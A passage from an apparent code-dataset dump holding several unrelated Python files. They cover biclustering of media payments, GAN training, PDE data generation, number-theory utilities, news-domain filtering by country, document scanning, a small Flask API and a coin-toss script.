\"rows\": {k: row_sums_map2[k] for k in inv_rowMap2[label] if k in row_sums_map2},\r\n \"columns\": {k: column_sums_map2[k] for k in inv_colMap2[label] if k in column_sums_map2}\r\n }\r\n\r\n return {\"data\": ret, \"clusters\": clusters}\r\n # return {\"data\": ret, \"clusters\": clusters, \"rows\": [[k,v] for k,v in row_sums_map.items()], \"columns\": [[k,v] for k,v in column_sums_map.items()]}\r\n\r\n def removeSubClusters3(self, clusterID):\r\n smID = clusterID[:clusterID.rfind(\".\")]\r\n\r\n for key, value in rowMap.items():\r\n if(rowMap[key].startswith(clusterID)):\r\n rowMap[key] = clusterID\r\n\r\n for key, value in colMap.items():\r\n if(colMap[key].startswith(clusterID)):\r\n colMap[key] = clusterID\r\n\r\n rowMap2 = {k:(v if v.startswith(smID) else \"Sonstige\") for k,v in rowMap.items()}\r\n colMap2 = {k:(v if v.startswith(smID) else \"Sonstige\") for k,v in colMap.items()}\r\n\r\n\r\n wel = weighted_edge_list.copy()\r\n\r\n wel[\"RECHTSTRAEGER\"].update(wel[\"RECHTSTRAEGER\"].map(rowMap2))\r\n wel[\"MEDIUM_MEDIENINHABER\"].update(wel[\"MEDIUM_MEDIENINHABER\"].map(colMap2))\r\n\r\n idc = wel[(wel[\"RECHTSTRAEGER\"].astype(str).str[:len(smID)] != smID) & (wel[\"MEDIUM_MEDIENINHABER\"].astype(str).str[:len(smID)] != smID)].index\n wel = wel.drop(idc)\r\n\r\n wel2 = weighted_edge_list.copy()\r\n wel2 = wel2.drop(idc)\r\n row_sums_map2 = wel2.groupby(by = [\"RECHTSTRAEGER\"]).sum().to_dict()[\"EURO\"]\r\n row_sums_map2 = {k:float(v) for k,v in row_sums_map2.items()}\r\n column_sums_map2 = wel2.groupby(by = [\"MEDIUM_MEDIENINHABER\"]).sum().to_dict()[\"EURO\"]\r\n column_sums_map2 = {k:float(v) for k,v in column_sums_map2.items()}\r\n\r\n ret = []\r\n ret = wel.as_matrix().tolist()\r\n\r\n # clusters = self.getElementsbyCluster()\r\n inv_rowMap2 = {}\r\n for k, v in rowMap2.items():\r\n inv_rowMap2.setdefault(v, []).append(k)\r\n\r\n inv_colMap2 = {}\r\n for k, v in colMap2.items():\r\n inv_colMap2.setdefault(v, []).append(k)\r\n\r\n clusters = {}\r\n for label in inv_rowMap2:\r\n clusters[label] = {\r\n \"rows\": {k: row_sums_map2[k] for k in inv_rowMap2[label] if k in row_sums_map2},\r\n \"columns\": {k: column_sums_map2[k] for k in inv_colMap2[label] if k in column_sums_map2}\r\n }\r\n\r\n return {\"data\": ret, \"clusters\": clusters}\r\n # return {\"data\": ret, \"clusters\": clusters, \"rows\": [[k,v] for k,v in row_sums_map.items()], \"columns\": [[k,v] for k,v in column_sums_map.items()]}\r\n\r\n def cluster(self, data):\r\n global weighted_edge_list, matrix, model, row_order, column_order, rowMap, colMap, subModels, row_sums_map, column_sums_map\r\n subModels = {}\r\n # num_clusters = 9\n weighted_edge_list = data[[\"RECHTSTRAEGER\",\"MEDIUM_MEDIENINHABER\",\"EURO\"]]\r\n weighted_edge_list = weighted_edge_list.groupby(by = [\"RECHTSTRAEGER\", \"MEDIUM_MEDIENINHABER\"]).sum().reset_index()\r\n\r\n G = nx.from_pandas_dataframe(weighted_edge_list,\"RECHTSTRAEGER\",\"MEDIUM_MEDIENINHABER\",\"EURO\", create_using=nx.DiGraph())\r\n row_order = np.sort(np.unique(weighted_edge_list[\"RECHTSTRAEGER\"]))\r\n column_order = np.sort(np.unique(weighted_edge_list[\"MEDIUM_MEDIENINHABER\"]))\r\n matrix_real = biadjacency_matrix(G, row_order, column_order=column_order, weight=\"EURO\")\r\n matrix = matrix_real.toarray()\r\n # import scipy\r\n # matrix = scipy.sign(matrix)\r\n row_sums = matrix.sum(axis=1).round(2)\r\n row_sums_map = dict(zip(row_order, row_sums))\r\n row_sums_map = {k:float(v) for k,v in row_sums_map.items()}\r\n column_sums = matrix.sum(axis=0).round(2)\r\n column_sums_map = dict(zip(column_order, column_sums))\r\n column_sums_map = {k:float(v) for k,v in column_sums_map.items()}\r\n\r\n # startTime = time.time()\r\n # clusters_range = range(2, 13)\r\n # model, modularities = best_modularity_partition(matrix, clusters_range, n_rand_init=1)\r\n # endTime = time.time()\r\n # print(\"Time elapsed: \",endTime - startTime)\r\n # print(modularities, np.argmax(modularities)+2)\r\n startTime = time.time()\r\n model = CoclustMod(min(min(matrix.shape), num_clusters),random_state=0) #n_init=500\r\n model.fit(matrix)\r\n endTime = time.time()\r\n print(\"Time elapsed: \",endTime - startTime)\r\n # print(\"rechtstr: \",len(row_order),\"medien: \",len(column_order))\r\n #test andere liste senden\r\n rowMap = dict(zip(row_order, list(map(str, model.row_labels_))))\r\n colMap = dict(zip(column_order, list(map(str,model.column_labels_))))\r\n ret = []\r\n\r\n wel = weighted_edge_list.copy()\r\n wel[\"RECHTSTRAEGER\"].update(wel[\"RECHTSTRAEGER\"].map(rowMap))\r\n wel[\"MEDIUM_MEDIENINHABER\"].update(wel[\"MEDIUM_MEDIENINHABER\"].map(colMap))\r\n ret = wel.as_matrix().tolist()\r\n\r\n clusters = self.getElementsbyCluster()\r\n\r\n return {\"data\": ret, \"clusters\": clusters}\r\n # return {\"data\": ret, \"clusters\": clusters, \"rows\": [[k,v] for k,v in row_sums_map.items()], \"columns\": [[k,v] for k,v in column_sums_map.items()]}\r\n\r\n def getElementsbyCluster(self):\r\n inv_rowMap = {}\r\n for k, v in rowMap.items():\r\n inv_rowMap.setdefault(v, []).append(k)\r\n\r\n inv_colMap = {}\r\n for k, v in colMap.items():\r\n inv_colMap.setdefault(v, []).append(k)\r\n\r\n clusters = {}\r\n for label in inv_rowMap:\r\n clusters[label] = {\r\n \"rows\": {k: row_sums_map[k] for k in inv_rowMap[label] if k in row_sums_map},\r\n \"columns\": {k: column_sums_map[k] for k in inv_colMap[label] if k in column_sums_map}\r\n }\r\n return clusters\r\n\r\n def setNumClusters(self, num):\r\n global num_clusters\r\n num_clusters = num\r\n # return \"\"\r\n\r\n def filterData(self, data, filters):\r\n data_tmp = data.copy()\r\n for f in filters:\r\n data_tmp = data_tmp[data_tmp[f].isin(filters[f])]\r\n\r\n return data_tmp\r\n","sub_path":"BiCluster.py","file_name":"BiCluster.py","file_ext":"py","file_size_in_byte":10506,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"603695731","text":"import os\nimport copy\nimport torch\nimport torch.nn as nn\nimport torch.autograd as autograd\nimport numpy as np\nimport pandas as pd\nimport torch.optim as optim\nimport matplotlib.pyplot as plt\nfrom tqdm import tqdm\nfrom torch.optim.lr_scheduler import CosineAnnealingLR, StepLR\nfrom utils import set_lr, get_lr, generate_noise, plot_multiple_images, save_fig, save, get_sample_images_list\nfrom losses.losses import *\n\nclass Trainer():\n\tdef __init__(self, loss_type, netD, netG, n_classes, device, train_dl, lr_D = 0.0002, lr_G = 0.0002, resample = True, weight_clip = None, use_gradient_penalty = False, loss_interval = 50, image_interval = 50, save_img_dir = 'saved_images/'):\n\t\tself.loss_type = loss_type\n\t\tself.loss_dict = {'SGAN':SGAN, 'LSGAN':LSGAN, 'HINGEGAN':HINGEGAN, 'WGAN':WGAN, 'RASGAN':RASGAN, 'RALSGAN':RALSGAN, 'RAHINGEGAN':RAHINGEGAN, 'QPGAN':QPGAN}\n\t\tif(loss_type == 'SGAN' or loss_type == 'LSGAN' or loss_type == 'HINGEGAN' or loss_type == 'WGAN'):\n\t\t\tself.require_type = 0\n\t\t\tself.loss = self.loss_dict[self.loss_type](device)\n\t\telif(loss_type == 'RASGAN' or loss_type == 'RALSGAN' or loss_type == 'RAHINGEGAN'):\n\t\t\tself.require_type = 1\n\t\t\tself.loss = self.loss_dict[self.loss_type](device)\n\t\telif(loss_type == 'QPGAN'):\n\t\t\tself.require_type = 2\n\t\t\tself.loss = self.loss_dict[self.loss_type](device, 'L1')\n\t\telse:\n\t\t\tself.require_type = -1\n\n\t\tself.netD = netD\n\t\tself.netG = netG\n\t\tself.n_classes = n_classes\n\t\tself.train_dl = train_dl\n\t\tself.lr_D = lr_D\n\t\tself.lr_G = lr_G\n\t\tself.train_iteration_per_epoch = len(self.train_dl)\n\t\tself.device = device\n\t\tself.resample = resample\n\t\tself.weight_clip = weight_clip\n\t\tself.use_gradient_penalty = use_gradient_penalty\n\t\tself.special = None\n\n\t\tself.optimizerD = optim.Adam(self.netD.parameters(), lr = self.lr_D, betas = (0, 0.9))\n\t\tself.optimizerG = optim.Adam(self.netG.parameters(), lr = self.lr_G, betas = (0, 0.9))\n\n\t\tself.real_label = 1\n\t\tself.fake_label = 0\n\t\tself.nz = self.netG.nz\n\n\t\tself.fixed_noise = generate_noise(self.n_classes, self.nz, self.device)\n\t\tself.fixed_one_hot_labels = torch.diagflat(torch.ones(self.n_classes)).to(self.device)\n\t\tself.loss_interval = loss_interval\n\t\tself.image_interval = image_interval\n\n\t\tself.errD_records = []\n\t\tself.errG_records = []\n\n\t\tself.save_cnt = 0\n\t\tself.save_img_dir = save_img_dir\n\t\tif(not os.path.exists(self.save_img_dir)):\n\t\t\tos.makedirs(self.save_img_dir)\n\n\tdef gradient_penalty(self, real_image, fake_image, real_label, fake_label):\n\t\tbs = real_image.size(0)\n\t\talpha = torch.FloatTensor(bs, 1, 1, 1).uniform_(0, 1).expand(real_image.size()).to(self.device)\n\t\talpha2 = torch.FloatTensor(bs, self.n_classes).uniform_(0, 1).expand(real_label.size()).to(self.device)\n\t\tinterpolation = alpha * real_image + (1 - alpha) * fake_image\n\t\tinterpolation_label = alpha2 * real_label + (1 - alpha2) * fake_label\n\n\t\tc_xi = self.netD(interpolation, interpolation_label)\n\t\tgradients = autograd.grad(c_xi, interpolation, torch.ones(c_xi.size()).to(self.device),\n\t\t\t\t\t\t\t\t create_graph = True, retain_graph = True, only_inputs = True)[0]\n\t\tgradients = gradients.view(bs, -1)\n\t\tpenalty = torch.mean((gradients.norm(2, dim=1) - 1) ** 2)\n\t\treturn penalty\n\n\tdef train(self, num_epoch):\n\t\tfor epoch in range(num_epoch):\n\t\t\tfor i, data in enumerate(tqdm(self.train_dl)):\n\t\t\t\tself.netD.zero_grad()\n\t\t\t\treal_images = data[0].to(self.device)\n\t\t\t\treal_class = data[1].to(self.device)\n\t\t\t\tbs = real_images.size(0)\n\n\t\t\t\tnoise = generate_noise(bs, self.nz, self.device)\n\t\t\t\tfake_class = torch.randint(0, self.n_classes, size = (bs, 1)).view(bs, 1).to(self.device)\n\t\t\t\tone_hot_labels_fake = torch.FloatTensor(bs, self.n_classes).to(self.device)\n\t\t\t\tone_hot_labels_fake.zero_()\n\t\t\t\tone_hot_labels_fake.scatter_(1, fake_class.view(bs, 1).long(), 1.0)\n\t\t\t\tfake_images = self.netG(noise, one_hot_labels_fake)\n\n\t\t\t\tone_hot_labels = torch.FloatTensor(bs, self.n_classes).to(self.device)\n\t\t\t\tone_hot_labels.zero_()\n\t\t\t\tone_hot_labels.scatter_(1, real_class.view(bs, 1), 1.0)\n\t\t\t\t\n\t\t\t\tc_xr = self.netD(real_images, one_hot_labels)\n\t\t\t\tc_xr = c_xr.view(-1)\n\t\t\t\tc_xf = self.netD(fake_images.detach(), one_hot_labels_fake)\n\t\t\t\tc_xf = c_xf.view(-1)\n\n\t\t\t\tif(self.require_type == 0 or self.require_type == 1):\n\t\t\t\t\terrD = self.loss.d_loss(c_xr, c_xf)\n\t\t\t\telif(self.require_type == 2):\n\t\t\t\t\terrD = self.loss.d_loss(c_xr, c_xf, real_images, fake_images)\n\t\t\t\t\n\t\t\t\tif(self.use_gradient_penalty != False):\n\t\t\t\t\terrD += self.use_gradient_penalty * self.gradient_penalty(real_images, fake_images, one_hot_labels, one_hot_labels_fake)\n\n\t\t\t\terrD.backward()\n\t\t\t\tself.optimizerD.step()\n\n\t\t\t\tif(self.weight_clip != None):\n\t\t\t\t\tfor param in self.netD.parameters():\n\t\t\t\t\t\tparam.data.clamp_(-self.weight_clip, self.weight_clip)\n\n\t\t\t\n\t\t\t\tself.netG.zero_grad()\n\t\t\t\tif(self.resample):\n\t\t\t\t\tnoise = generate_noise(bs, self.nz, self.device)\n\t\t\t\t\tone_hot_labels_fake = torch.FloatTensor(bs, self.n_classes).to(self.device)\n\t\t\t\t\tone_hot_labels_fake.zero_()\n\t\t\t\t\tone_hot_labels_fake.scatter_(1, fake_class.view(bs, 1).long(), 1.0)\n\t\t\t\t\tfake_images = self.netG(noise, one_hot_labels_fake)\n\t\t\t\t\n\t\t\t\tif(self.require_type == 0):\n\t\t\t\t\tc_xf = self.netD(fake_images, one_hot_labels_fake)\n\t\t\t\t\tc_xf = c_xf.view(-1)\n\t\t\t\t\terrG = self.loss.g_loss(c_xf)\n\t\t\t\tif(self.require_type == 1 or self.require_type == 2):\n\t\t\t\t\tc_xr = self.netD(real_images, one_hot_labels)\t\t\t\t# (bs, 1, 1, 1)\n\t\t\t\t\tc_xr = c_xr.view(-1)\t\t\t\t\t\t# (bs)\n\t\t\t\t\tc_xf = self.netD(fake_images, one_hot_labels_fake)\t\t# (bs, 1, 1, 1)\n\t\t\t\t\tc_xf = c_xf.view(-1)\n\t\t\t\t\terrG = self.loss.g_loss(c_xr, c_xf)\n\t\t\t\terrG.backward()\n\t\t\t\tself.optimizerG.step()\n\n\t\t\t\tself.errD_records.append(float(errD))\n\t\t\t\tself.errG_records.append(float(errG))\n\n\t\t\t\tif(i % self.loss_interval == 0):\n\t\t\t\t\tprint('[%d/%d] [%d/%d] errD : %.4f, errG : %.4f'\n\t\t\t\t\t\t %(epoch+1, num_epoch, i+1, self.train_iteration_per_epoch, errD, errG))\n\t\t\t\t\n\t\t\t\tif(i % self.image_interval == 0):\n\t\t\t\t\tsample_images_list = get_sample_images_list('Conditional', (self.fixed_noise, self.fixed_one_hot_labels, self.n_classes, self.netG))\n\t\t\t\t\tplot_fig = plot_multiple_images(sample_images_list, self.n_classes, 1)\n\t\t\t\t\tcur_file_name = os.path.join(self.save_img_dir, str(self.save_cnt)+' : '+str(epoch)+'-'+str(i)+'.jpg')\n\t\t\t\t\tself.save_cnt += 1\n\t\t\t\t\tsave_fig(cur_file_name, plot_fig)\n\t\t\t\t\tplot_fig.clf()","sub_path":"trainers_advanced/trainer.py","file_name":"trainer.py","file_ext":"py","file_size_in_byte":6249,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"118356073","text":"import numpy as np\nimport numpy.fft as fft\n\n\ndef pad_input_2(input, pad_by):\n \"\"\"\n We increase the size of input for all j by pad_by on each side of the matrix\n by inserting values from the opposite side\n \"\"\"\n mesh_size = input.shape[0]\n\n B = np.eye(mesh_size, dtype=np.float32)\n for i in range(pad_by):\n a = np.zeros(mesh_size, dtype=np.float32)\n a[mesh_size - i - 1] = 1\n B = np.concatenate(([a], B), axis=0)\n for i in range(pad_by):\n a = np.zeros(mesh_size, dtype=np.float32)\n a[i] = 1\n B = np.concatenate((B, [a]), axis=0)\n\n return B @ input @ B.T\n\n\n## The following methods are pretty much the same as in the original PDE-Net ##\n\ndef downsample(sample, scale):\n \"\"\"\n Returns a regular somewhat random sub-grid of sample, whose size is reduced by a factor of 'scale'.\n \"\"\"\n\n # np.random.seed(50)\n idx1 = slice(np.random.randint(scale), None, scale)\n idx2 = slice(np.random.randint(scale), None, scale)\n # idx1 = slice(1, None, scale)\n # idx2 = slice(0, None, scale)\n\n for kwarg in sample:\n sample[kwarg] = sample[kwarg][idx1, idx2]\n return sample\n\n\ndef addNoise(sample, noise, layers):\n # Adding noise to u0\n mean = sample['u0'].mean()\n stdvar = np.sqrt(((sample['u0'] - mean) ** 2).mean())\n size = sample['u0'].shape\n startnoise = np.random.standard_normal(size)\n sample['u0'] = sample['u0'] + noise * stdvar * startnoise\n\n # Adding noise to ut, t > 0\n for l in range(1, layers):\n arg = 'u' + str(l)\n size = sample[arg].shape\n endnoise = np.random.standard_normal(size)\n sample[arg] = sample[arg] + noise * stdvar * endnoise\n\n return sample\n\n\n############ Initial value generator ############\n\ndef initgen(mesh_size, freq=3, boundary='Periodic'):\n \"\"\"\n Returns function values for t=0 on a regular grid of size 'mesh_size' in [0, 2*pi]x[0, 2*pi] as a matrix\n \"\"\"\n # Default: (mesh_size, freq, boundary) = ([250, 250], 4, 'Periodic')\n if np.iterable(freq):\n return freq\n # 250x250 normally distributed variables IFFTed and FFTed:\n x = _initgen_periodic(mesh_size, freq=freq)\n x = x * 100\n if boundary.upper() == 'DIRICHLET':\n dim = x.ndim\n for i in range(dim):\n y = np.arange(mesh_size[i]) / mesh_size[i]\n y = y * (1 - y)\n s = np.ones(dim, dtype=np.int32)\n s[i] = mesh_size[i]\n y = np.reshape(y, s)\n x = x * y\n x = x[[slice(1, None), ] * dim]\n x = x * 16\n return x\n\n\n###################################################\n\n\ndef _initgen_periodic(mesh_size, freq=3):\n # np.random.seed(50)\n # Default: (mesh_size, freq) = ([250, 250], 4)\n dim = len(mesh_size)\n # Default: 250x250-matrix of normally distributed variables\n x = np.random.randn(*mesh_size)\n coe = fft.ifftn(x)\n # set frequency of generated initial value\n # Array of random ints in [freq, 2*freq - 1]\n freqs = np.random.randint(freq, 2 * freq, size=[dim, ])\n # freqs = [10,10]\n for i in range(dim):\n perm = np.arange(dim, dtype=np.int32)\n perm[i] = 0\n perm[0] = i\n # Permutes for i = 1 and does nothing for i = 0.\n coe = coe.transpose(*perm)\n coe[freqs[i] + 1:-freqs[i]] = 0\n coe = coe.transpose(*perm)\n x = fft.fftn(coe)\n assert np.linalg.norm(x.imag) < 1e-8\n x = x.real\n return x\n","sub_path":"module/non-linear_pde/common_methods.py","file_name":"common_methods.py","file_ext":"py","file_size_in_byte":3430,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"174208931","text":"import matplotlib.pyplot as plt\nimport numpy as np\nimport matplotlib.animation as animation\nimport matplotlib.patches as patches\nfrom main import *\n\nfig = plt.figure()\nax = fig.add_subplot(111)\nax.set_xlim(0, 10)\nax.set_ylim(-0, 2)\n\na = length_of_tetrahedron[0, 0]\nb = length_of_tetrahedron[1, 0]\nc = length_of_tetrahedron[2, 0]\n# print('a, b , c:', a, b , c)\ncosine = (a**2 + c**2 - b**2)/(2*a*b)\nsinus = np.sqrt(1 - cosine**2)\nv = np.array([[0.,0.], [b*cosine, b*sinus], [c, 0.]])\n\npatch = patches.Polygon(v,closed=True, fc='r', ec='r')\nax.add_patch(patch)\n\ndef init():\n return patch,\n\ndef animate(i):\n # v[:, 0] += i*0.1\n a = length_of_tetrahedron[0, i]\n b = length_of_tetrahedron[1, i]\n c = length_of_tetrahedron[2, i]\n # print(length_matrix.todense())\n # print('a, b , c:', a, b, c)\n try:\n cosine = (a ** 2 + c ** 2 - b ** 2) / (2 * a * b)\n sinus = np.sqrt(1 - cosine ** 2)\n v = np.array([[0., 0.], [b * cosine, b * sinus], [c, 0.]])\n patch.set_xy(v)\n except ZeroDivisionError:\n return None\n return patch,\n\nani = animation.FuncAnimation(fig, animate, np.arange(1, TIMES), init_func=init,\n interval=100, blit=True)\n\nani.save('sine_wave.gif', writer='pillow')\n","sub_path":"animation.py","file_name":"animation.py","file_ext":"py","file_size_in_byte":1258,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"53418473","text":"from math import gcd\n\n# https://stackoverflow.com/a/9758173\ndef egcd(a, b):\n if a == 0:\n return (b, 0, 1)\n else:\n g, y, x = egcd(b % a, a)\n return (g, x - (b // a) * y, y)\n\n# https://stackoverflow.com/a/9758173\ndef modinv(a, m):\n g, x, y = egcd(a, m)\n if g != 1:\n raise Exception('modular inverse does not exist')\n else:\n return x % m\n\ndef lcm(a, b):\n return a * b / gcd(a, b)\n\ndef memoized(func):\n cache = {}\n def newfunc(*args):\n if args not in cache:\n cache[args] = func(*args)\n return cache[args]\n return newfunc\n\ndef factors_in_factorial(n, p):\n return 0 if n < p else n//p + factors_in_factorial(n//p, p)\n\ndef is_square(n):\n return int(round(n**0.5))**2 == n\n\ndef product(seq):\n return reduce(lambda a,b:a*b, seq, 1)\n\ndef comb(n, r):\n if r > n//2: r = n - r\n num = 1\n denom = 1\n for i in range(1, r+1):\n num *= n - i + 1\n denom *= i\n return num // denom\n\ndef mat_mul(a, b, mod):\n res = [[0 for _ in b[0]] for _ in a]\n for i in range(len(a)):\n for j in range(len(b[0])):\n if mod:\n res[i][j] = sum(a[i][k] * b[k][j] for k in range(len(b))) % mod\n else:\n res[i][j] = sum(a[i][k] * b[k][j] for k in range(len(b)))\n return res\n\ndef fib(n, mod=None):\n a = [[1, 1], [1, 0]]\n res = [[1, 0], [0, 1]]\n while n:\n if n % 2:\n res = mat_mul(res, a, mod)\n a = mat_mul(a, a, mod)\n n //= 2\n return res[0][1]\n\ndef primes(limit):\n if limit >= 2:\n yield 2\n\n import array\n from math import sqrt\n isprime = array.array(\"B\", b\"\\x01\" * ((limit - 1) // 2))\n sieveend = sqrt(limit)\n for i in xrange(len(isprime)):\n if isprime[i] == 1:\n p = i * 2 + 3\n yield p\n if i <= sieveend:\n for j in range((p * p - 3) >> 1, len(isprime), p):\n isprime[j] = 0\n\ndef factorize(n):\n res = []\n if n % 2 == 0:\n power = 0\n while n % 2 == 0:\n power += 1\n n //= 2\n res.append((2, power))\n i = 3\n while i * i <= n:\n if n % i == 0:\n power = 0\n while n % i == 0:\n power += 1\n n //= i\n res.append((i, power))\n i += 2\n if n > 1:\n res.append((n, 1))\n return res\n\ndef chinese(A, N):\n tot = 1\n for n in N: tot *= n\n N2 = [tot // n for n in N]\n return sum(a * n2 * modinv(n2, n) for a, n2, n in zip(A, N2, N)) % tot\n\ndef phi(n):\n res = 1\n for prime, power in factorize(n):\n res *= prime ** power - prime ** (power-1)\n return res\n\ndef catalan(n):\n return comb(2*n, n) / (n + 1)\n\ndef is_prime(n):\n return n > 1 and all(n % i for i in xrange(2, int(n**0.5)+1))\n\ndef is_prime2(n):\n import random\n if n < 2: return False\n if n < 10000:\n return is_prime(n)\n if n in [561, 1105, 1729, 2465, 2821, 6601, 8911, 10585, 15841, 29341, 41041, 46657, 52633, 62745, 63973, 75361, 101101, 115921, 126217, 162401, 172081, 188461, 252601, 278545, 294409, 314821, 334153, 340561, 399001, 410041, 449065, 488881, 512461]:\n return False\n for i in range(10):\n a = random.randint(1, n-1)\n if pow(a, n-1, n) != 1:\n return False\n return True\n\ndef decimal_to_roman(n):\n roman = {\n 1000: 'M',\n 900: 'CM',\n 500: 'D',\n 400: 'CD',\n 100: 'C',\n 90: 'XC',\n 50: 'L',\n 40: 'XL',\n 10: 'X',\n 9: 'IX',\n 5: 'V',\n 4: 'IV',\n 1: 'I'\n }\n res = \"\"\n for d in sorted(roman.keys(), reverse=True):\n if d > n: continue\n res += roman[d] * (n // d)\n n %= d\n return res\n\ndef roman_to_decimal(s):\n decimal = {\n 'M': 1000,\n 'D': 500,\n 'C': 100,\n 'L': 50,\n 'X': 10,\n 'V': 5,\n 'I': 1\n }\n last = 0\n n = 0\n for c in s:\n d = decimal[c]\n if d > last:\n n -= 2 * last\n n += d\n last = d\n return n\n\nwheel = [2,4,2,4,6,2,6,4,2,4,6,6,2,6,4,2,6,4,6,8,4,2,4,2,\n 4,8,6,4,6,2,4,6,2,6,6,4,2,4,6,2,6,4,2,4,2,10,2,10]\nwsize = 48\n\ndef primes2():\n for x in (2, 3, 5, 7): yield x\n for x in wsieve(): yield x\n\ndef wsieve(): # wheel-sieve, by Will Ness. cf. ideone.com/WFv4f\n yield 11 # cf. https://stackoverflow.com/a/10733621/849891\n mults = {} # https://stackoverflow.com/a/19391111/849891\n ps = wsieve()\n p = next(ps)\n psq, c, i = p*p, 11, 0 # 13 = 11 + wheel[0]\n cbase, ibase = 11, 0\n while True:\n c += wheel[i] ; i = (i+1) % wsize # 17 = 13 + wheel[1]\n if c in mults:\n (j,pbase) = mults.pop(c) # add(mults, NEXT c, j, pbase)\n elif c < psq:\n yield c ; continue\n else: # (c==psq)\n while not cbase == p:\n cbase += wheel[ibase]\n ibase = (ibase+1) % wsize # ibase - initial offset into wheel, for p\n j, pbase = ibase, p # add(mults, NEXT c, ibase, p)\n p = next(ps) ; psq = p*p\n m = c + pbase*wheel[j] ; j = (j+1) % wsize # mults(p) = map (*p)\n while m in mults: # roll(wheel,ibase,p)\n m += pbase*wheel[j] ; j = (j+1) % wsize\n mults[m] = (j,pbase)\n","sub_path":"euler/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":5476,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"393047541","text":"import pandas as pd\nfrom tld import get_tld\nimport socket\nfrom geolite2 import geolite2\n\ndef write_file(file_name, df):\n\tdf.to_csv(\"../output/\"+file_name, encoding='utf-8', index=False)\n\ndef get_registered_country(domain_str):\n ip = socket.gethostbyname(domain_str.strip())\n reader = geolite2.reader() \n output = reader.get(ip)\n result = output['country']['iso_code']\n geolite2.close()\n return(ip, domain_str, result)\n\ndf = pd.read_excel(\"/home/jovyan/work/research/data/TopSitesExtended-(News_and_Media)--(999)--(Month_2018_6_1).xlsx\", sheet_name = \"Aggregated Data for Time Period\")\n# df2 = pd.read_excel(\"/home/jovyan/work/research/data/2.xlsx\", sheet_name = \"Aggregated Data for Time Period\")\n\ndf_output = pd.DataFrame()\n\nkeywords = [\"com\", \"org\", \"gov\", \"net\"]\nfor i, row in df.iterrows():\n\tprint(i)\n\ttry:\n\t\tres = get_tld(\"http://\"+row[\"Domain\"], as_object=True)\n\n\t\tsuffix = res.suffix\n\t\tprint(row[\"Domain\"])\n\t\tprint(suffix)\n\n\t\t#### check kws : com, org, gov, net\n\t\tif (any(kw in suffix for kw in keywords)):\n\n\t\t\tsuffix_split = suffix.split(\".\")\n\t\t\tprint(\"contain kw\")\n\n\t\t\t##### check len\n\t\t\tif len(suffix_split) == 1:\n\n\t\t\t\t##### check registered country\n\t\t\t\tip, domain_str, result = get_registered_country(row[\"Domain\"])\n\t\t\t\tif result == \"US\":\n\t\t\t\t\tprint(\"US\")\n\t\t\t\t\tprint(result)\n\n\t\t\t\t\t##### collect data to new df\n\t\t\t\t\tdf_output = df_output.append(row, ignore_index=True)\n\n\t\t\t\telse:\n\t\t\t\t\t# df2 = df2[df2.Domain != row[\"Domain\"]]\n\t\t\t\t\tprint(result)\n\t\telse:\n\t\t\tprint(\"not kws\")\n\t\t\t# df2 = df2[df2.Domain != row[\"Domain\"]]\n\n\t\tprint(\"-----------------\")\n\n\texcept Exception as err:\n\t\t# df2 = df2[df2.Domain != row[\"Domain\"]]\n\t\tprint (err)\n\t\tprint(\"-----------------\")\n\n# print(len(df2))\nprint(len(df_output))\ndf_output = df_output.reindex(columns=list(df))\n# write_file(\"filter_country2.csv\", df2)\nwrite_file(\"filter_country_no.csv\", df_output)","sub_path":"filter_ctry.py","file_name":"filter_ctry.py","file_ext":"py","file_size_in_byte":1869,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"318009371","text":"import pyinsane2\nimport os\n\npyinsane2.init()\n\ntry: \n devices = pyinsane2.get_devices()\n assert(len(devices) > 0)\n device = devices[0]\n\n print('I am going to use the following scanner: %s' %(str(device)))\n scanner_id = device.name\n\n\n try: \n pyinsane2.set_scan_area_pos(device,'source',['ADF','Feeder'])\n\n except Exception as e:\n print(e)\n\n\n\n pyinsane2.set_scanner_opt(device, 'resolution', [100])\n\n pyinsane2.set_scanner_opt(device, 'mode', ['Color'])\n\n pyinsane2.maximize_scan_area(device)\n\n\n try : \n scan_session = device.scan(multiple=False)\n print('scanning--------------------')\n while True:\n try:\n scan_session.scan.read()\n except EOFError: \n\n print(\"Got page %d\" % (len(scan_session.images)))\n img = scan_session.images[-1]\n imgpath = os.path.join('test111.jpg')\n img.save(imgpath)\n\n except StopIteration:\n print(\"Got %d pages\" % len(scan_session.images))\n\nfinally: \n pyinsane2.exit()\n\n","sub_path":"testPyinsane.py","file_name":"testPyinsane.py","file_ext":"py","file_size_in_byte":1074,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"520960705","text":"#API-1->IP\r\n#API1=http://127.0.0.1:8080/ip\r\nimport flask\r\napp=flask.Flask('MyApp')\r\n@app.route('/ip',methods=['GET'])\r\ndef api_ip():\r\n import sqlite3\r\n con=sqlite3.connect('mydb.sqlite3')\r\n cur=con.cursor()\r\n cur.execute('SELECT IP FROM LOGDATA')\r\n result=cur.fetchall()\r\n result=[i[0] for i in result]\r\n d={k:v for k,v in enumerate(result)}\r\n return d\r\n#API2=http://127.0.0.1:8080/emp\r\n@app.route('/emp',methods=['post'])\r\ndef empdetails():\r\n details=flask.request.args\r\n details=dict(details)\r\n return details\r\n@app.route('/json')\r\ndef fromjson():\r\n f=open('mydata.json','w')\r\n d={\"course\":\"python\",\"loc\":\"Blr\"}\r\n import json\r\n json.dump(d,f)\r\n f.close()\r\n f=open('mydata.json')\r\n r=json.load(f)\r\n f.close()\r\n return r\r\napp.run()","sub_path":"REST_API_Flask.py","file_name":"REST_API_Flask.py","file_ext":"py","file_size_in_byte":791,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"343610922","text":"#Write your code below this line 👇\n#Hint: Remember to import the random module first. 🎲\n\nimport random\nprint(\"welcome to the coin toss\")\npick = input('choose heads or tails, ready to flip coin Type \"flip\"')\ntoss = random.randint(0,1)\nif pick == \"flip\":\n if toss == 1:\n print(\"the coin fliped and landed on heads\")\n else:\n print(\"the coin landed on 